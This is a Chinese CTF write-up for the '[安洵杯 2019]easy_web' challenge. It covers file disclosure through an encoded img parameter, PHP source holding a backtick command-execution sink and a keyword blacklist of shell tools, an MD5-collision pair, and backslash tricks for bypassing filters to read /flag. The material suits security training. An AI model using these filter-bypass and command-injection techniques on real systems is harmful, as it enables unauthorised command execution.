• [安洵杯 2019]easy_web


    实操如下

    观察

    首先这个链接长得挺奇怪的,img参数后面跟的有点像base64编码。

    在这里插入图片描述
    解码后得到MzUzNTM1MmU3MDZlNjc=
    这个还是base64,再次解码得到3535352e706e67
    这玩意看起来有点像十六进制,转一下字符串,得到555.png

    查看源码

    查看一下源码,发现有一堆base64,解成图片就是页面上的表情包。
    在这里插入图片描述

    包含index.php

    猜测img参数的作用就是将对象包含并进行转16进制再base64编码后输出,试一试包含index.php

    index.php
    696e6465782e706870
    Njk2ZTY0NjU3ODJlNzA2ODcwCg==
    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
    

    上传

    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3放入img参数进行上传得到:
    在这里插入图片描述

    解码

    将里面的base64解码一下,得到:

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi~ no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?||\|n|t|r|xA0|{|}|(|)|&[^d]|@|||$|[|]|{|}|(|)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }
    
    ?>
    <html>
    <style>
      body{
       background:url(./bj.png)  no-repeat center center;
       background-size:cover;
       background-attachment:fixed;
       background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>
    

    开始代码审计。

    这里最重要的一段代码是

    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?||\|n|t|r|xA0|{|}|(|)|&[^d]|@|||$|[|]|{|}|(|)|-|<|>/i", $cmd)) {     //跟这里匹配到了就会结束代码,所以需要绕过
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {    //a和b的内容不一样但是需要md5值一样
            echo `$cmd`;          //将cmd当成系统命令执行并输出
        } else {
            echo ("md5 is funny ~");
        }
    }
    

    第一层绕过

    绕过preg_match的话可以使用绕过,比如在linux下执行ls,效果等同于ls
    在这里插入图片描述

    第二层绕过

    至于md5碰撞的话,本来可以用数组绕过,但是这里使用了(String)强制转换,数组被强制转换的结果都为string(5) "Array"
    所以要用下面的一组数据绕过

    $a = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2";
    &$b = "%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2";
    

    这两串数据的url解码后的结果md5值相同,所以是强碰撞。

    BurpSuit

    放BP里面跑一跑
    在这里插入图片描述

    绕过过滤

    发现目录下面没有flag,那就看看根目录下ls /
    在burp中如果使用空格会被识别为其他的参数,所以这里空格用%20替换,ls中间使用反斜杠隔开:ls%20/
    在这里插入图片描述

    然后cat flag =>ca %20/flag

    flag{51fca794-6421-4471-abfe-95b4f66ca685}

  • 相关阅读:
    WampServer Mysql配置
    Java实现 蓝桥杯VIP 算法提高 陶陶摘苹果2
    Java实现 蓝桥杯VIP 算法提高 陶陶摘苹果2
    Java实现 蓝桥杯VIP 算法提高 陶陶摘苹果2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 质因数2
    Java实现 蓝桥杯VIP 算法提高 前10名
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13708332.html
Copyright © 2020-2023  润新知